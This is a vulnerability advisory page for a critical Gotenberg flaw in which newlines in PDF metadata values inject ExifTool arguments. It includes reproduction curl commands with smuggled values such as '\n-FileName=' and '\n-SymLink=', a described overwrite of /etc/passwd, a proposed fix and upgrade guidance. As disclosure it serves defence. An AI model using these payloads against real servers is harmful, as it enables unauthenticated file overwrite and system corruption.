GHSA-q7r4-hc83-hf2q CVE-2026-40281 GO-2026-5572
Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)
- Severity
- 10.0 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 2.26%
- Chance of exploitation in the next 30 days. Higher than 82.97% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- Fix
8.31.0- Upgrade github.com/gotenberg/gotenberg/v8 to this version or later
Description
Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
Summary
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go — WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \n
go-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proof
Steps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
Impact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files — e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}
Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | all versions |
No fix yet |
| github.com/gotenberg/gotenberg/v8 | < 8.31.0 |
8.31.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/gotenberg/gotenberg/v8 Go → 8.31.0
- go
go get github.com/gotenberg/gotenberg/v8@v8.31.0 && go mod tidy
Severity breakdown
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
How to prevent it
- Implementation: Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
- Architecture and Design: Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-2mrg-35hw-x3x9 Gotenberg: SSRF via LibreOffice document processing | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-vp73-vjw8-8f32 Gotenberg has a Race Condition via Multipart `downloadFrom` Handling | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-86m8-88fq-xfxp Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-hwc4-gmrw-5222 Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-chwh-f6gm-r836 Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-g924-cjx7-2rjw Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme | Medium | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-4vmc-gm8v-m35h Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook | Critical | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-r33j-c622-r6qp Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine | High | Also affects github.com/gotenberg/gotenberg/v7 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor